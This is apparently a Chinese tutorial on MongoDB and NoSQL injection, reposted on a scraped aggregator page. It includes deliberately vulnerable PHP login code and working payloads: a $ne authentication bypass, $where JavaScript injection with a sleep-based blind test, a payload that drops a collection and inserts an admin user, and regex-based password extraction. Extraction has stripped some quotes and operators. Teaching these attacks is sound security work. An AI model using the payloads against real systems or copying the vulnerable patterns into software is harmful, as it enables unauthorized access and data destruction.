当前位置: 首页 > news >正文

建设网站设计网站开发哪种框架

建设网站设计,网站开发哪种框架,可信赖的深圳网站建设,wordpress 网站上传首先来学习一下nosql 这里安装就不进行介绍 只记录一下让自己了解mongodb ubuntu 安装后 进入 /usr/bin ./mongodb即可进入然后可通过 进入的url链接数据库 基本操作 show dbshow dbsshow tablesuse 数据库名插入数据db.admin.insert({json格式的数据})例如 db.admin.inse…首先来学习一下nosql 这里安装就不进行介绍 只记录一下让自己了解mongodb ubuntu 安装后 进入 /usr/bin ./mongodb即可进入然后可通过 进入的url链接数据库 基本操作 show dbshow dbsshow tablesuse 数据库名插入数据db.admin.insert({json格式的数据})例如 db.admin.insert({id:1,name:admin,passwd:admin123})或者通过定义的方法canshu{id:1,name:admin,passwd:admin123}db.admin.insert(canshu)删除db.admin.remove()更新db.admin.update({name:admin},{$set{id:1}})前面是条件 后面是更新的内容 然后我们现在需要来查看 nosql的符号 条件操作符 $gt : $lt : $gte: $lte: $ne : !、 $in : in $nin: not in $all: all $or:or $not: 反匹配(1.3.3及以上版本) 模糊查询用正则式db.customer.find({name: {$regex:.*s.*} }) /** * : 范围查询 { age : { $gte : 2 , $lte : 21}} * : $ne { age : { $ne : 23}} * : $lt { age : { $lt : 23}} */解释$gt 大于 $lte 小于等于 $in 包含 $nin 不包含 $lt 小于 $gte 大于等于 $ne 不等于 $eq 等于 $and 与 $nor $nor在NOR一个或多个查询表达式的数组上执行逻辑运算并选择 对该数组中所有查询表达式都失败的文档 $not 反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在 $or 知道这五个其实就OK了 SQL注入 因为这里传入的都是json格式的文件 所以首先我们来搭建一个查询网站 ?php $manager new MongoDB\Driver\Manager(mongodb://127.0.0.1:27017/?compressorsdisabledgssapiServiceNamemongodb); //修改url $username $_POST[username]; //修改集合字段 $password $_POST[password];$query new MongoDB\Driver\Query([name $username, password $password]); $result $manager-executeQuery(test.admin, $query)-toArray();$count count($result); $queryString json_encode($result); echo 查询结果: . $queryString . br;if ($count 0) {foreach ($result as $user) {$user (array)$user;echo $user;echo Login Successbr;echo username: . $user[name] . br; //修改集合字段echo password: . $user[password] . br;} } else {echo Login Failed; } 测试后是ok的 那么这里我们如何注入呢 我们首先要知道传入的语句是什么呢 name $username, password $password 其实是这个 我们构思一下 如果我们传入一个 永真注入 username[$ne]1password[$ne]1[$ne] 为 那么这里传入的语句是什么呢name array($ne 1), password array($ne1)mongodb 的查询语句 就变为了 db.admin.find({username:{$ne:1}, password:{$ne:1}})只要username和password !0 就都查询出来 这里其实是PHP特性导致的 value 1 传入的参数就是 1value[$ne]传入的参数就是 array([$ne]1) 联合注入  过时 这里其实也是设计者的错误 我们将 查询语句 name $username,password $passwd修改为{ username: $username , password: $password }变成拼接模式 当我们正常输入的时候 {username : admin,password: admin123}查询语句就是db.admin.find({username : admin,password: admin123})但是我们如果不正常查询呢我们传入 username admin, $or: [ {}, {a: a password }]最后获取到的数据是什么呢db.admin.find({ name: admin, $or: [ {}, {a:a, password: }]})实现了查询注入 但是这个方法现在可能都无法使用 现在的开发都必须要传入一个数组或者Qurey对象 JavaScript注入 mongodb支持JavaScript的脚本辅助 这里要提及mongodb的关键词 $where $where关键词 在MONGODB中 支持使用 $where关键词进行javascrip执行 db.admin.find({ $where: function(){return(this.name admin)} }) 这是一个简单的利用 执行函数返回用户名的数据 但是在例如直接传参的时候 就会造成注入 db.admin.find({ $where: function(){return(this.name $userData })db.admin.find({ $where: function(){return(this.name a; sleep(5000))} }) 这里就可以查询到不该查询的内容 和 盲注 我们也测试一下 ?php $manager new MongoDB\Driver\Manager(mongodb://127.0.0.1:27017/?compressorsdisabledgssapiServiceNamemongodb); $username $_POST[username]; $password $_POST[password]; $function function() {var name .$username.;var password .$password.;if(name admin password admin123){return true;}else{return false;} };$query new MongoDB\Driver\Query([$where $function]); $result $manager-executeQuery(test.admin, $query)-toArray(); $count count($result); if ($count 0) {foreach ($result as $user) {$user (array)$user;echo Login Successbr;echo username: .$user[name].br;echo password: .$user[password].br;} } else {echo Login Failed; } ? 我们正常传输入 java脚本是 function() {var name admin;var password admin123;if(name admin password admin123){return true;}else{return false;} }然后进入数据库db.admin.find({$where:function() {var name admin;var password admin123;if(name admin password admin123){return true;}else{return false;}} }) 那么这里我们使用注入呢 我们构造万能钥匙 username1password1;return true;var a1 username1password1;return true// 进入javascrip为$function function() {var name 1;var password 1;return true;var a1;if(name admin password admin123){return true;}else{return false;} };美化后 $function function() {var name 1;var password 1;return true;var a1;if(name admin password admin123){return true;}else{return false;} };这里可以发现 直接return ture 所以绕过了下面的判断 comment方法造成注入 这里的内容其实是被php官方制止的 因为很容易造成漏洞 但是如果工作量很大 难免有人选择 ?php $manager new MongoDB\Driver\Manager(mongodb://127.0.0.1:27017/?compressorsdisabledgssapiServiceNamemongodb); $username $_POST[username];$filter [name $username]; $query new MongoDB\Driver\Query($filter);$result $manager-executeQuery(test.admin, $query)-toArray(); $count count($result);if ($count 0) {foreach ($result as $user) {$user (array)$user;echo Login Successbr;echo username: . $user[name] . br;echo password: . $user[password] . br;} } else {echo Login Failed; } ? 这个时候 其实我们就已经是shell的权限了 我们可以开始操作数据库 但是本地是最新的mongodb 所以出现报错 Fatal error: Uncaught MongoDB\Driver\Exception\CommandException: no such command: eval in C:\Users\Administrator\Desktop\CTFcode\dir.php:9 Stack trace: #0 C:\Users\Administrator\Desktop\CTFcode\dir.php(9): MongoDB\Driver\Manager-executeCommand(admin, Object(MongoDB\Driver\Command)) #1 {main} thrown in C:\Users\Administrator\Desktop\CTFcode\dir.php on line 9但是我们看payload其实就ok了 username1});db.users.drop();db.user.find({username:1 username1});db.users.insert({username:admin,password:123456});db.users.find({username:1 我们发现其实就是通过闭合 然后就可以执行命令了 布尔注入 ?php $manager new MongoDB\Driver\Manager(mongodb://127.0.0.1:27017/?compressorsdisabledgssapiServiceNamemongodb); $username $_POST[username]; $password $_POST[password];$query new MongoDB\Driver\Query([name $username,password $password ]);$result $manager-executeQuery(test.admin, $query)-toArray(); $count count($result);if ($count 0) {foreach ($result as $user) {$user (array)$user;echo Login Success br;echo Username: . $user[name] . br;echo Password: . $user[password] . br;} } else {echo Login Failed; } ? 首先我们在已知账号的情况下可以 password[$regex].{6} 通过正则匹配来获取 具体传入内容是 {name:admin,password:array([$regex].{6})}这里是匹配任意6个字符进入数据库后是 db.admin.find({name:admin,password:{$regex:.{6}}}) 发现实现了访问 发现超过了就没有回显了 所以这里可以拿来测试密码长度 我们要获取数字 其实就可以通过正则表达式来 db.admin.find({name:admin,password:{$regex:^a}})db.admin.find({name:admin,password:{$regex:^ad}}) 这里 基本的nosql注入 就实现了
http://www.pierceye.com/news/85328/

相关文章:

  • 盐城城南建设局一局网站怎么做网站邮箱
  • 外卖网站开发方案wordpress 编辑器 空白
  • 新一代 网站备案推广哪个平台好
  • 网站游戏正规网站建设网址导航大全
  • 网站开发需要考虑哪些方面网站和软件建站
  • net网站开发视频wordpress 搭建知识库
  • 九江的网站建设公司微博分享的网站怎么做
  • 建设网站对公司起什么作用是什么意思怎么在网站里给图片做超链接
  • 网站建设 甘肃运营外包
  • 秦皇岛做网站外包手机网站怎么提高关键词
  • 快速搭建网站视频个人营销网站
  • 网络营销活动方案网站seo方案
  • 论基层门户网站的建设网站换了域名还被k站不
  • 菏泽 网站建设什么是网站的自适应
  • 海口网站建设运营怎么看网站被惩罚
  • 医院网站建设原理未备案网站 赚钱
  • 长春网站免费制作icp备案官网查询
  • 长春网站建设小程序做一款手机app大概多少钱
  • 百度快照网站怎么做辛集建设网站
  • 微网站与普通网站的区别岳阳棋牌软件定制开发公司
  • 网站源码查看wordpress 搜索 字母
  • 深圳做针织衫服装的网站免费漫画软件 全免费
  • 网站导航字体大小公司做网站之前要准备什么
  • 时光轴 网站怎么优化关键词排名优化
  • 广西网站建设营销公司如何制作手机购物网站
  • 河西网站建设优化seowordpress自媒体主题
  • 云南工程建设信息网站wordpress先使用
  • 中医院网站素材网站自助服务建设策划
  • 网站文章做百度排名vps建设网站别人访问不了
  • 太原网站seo服务小程序怎么开发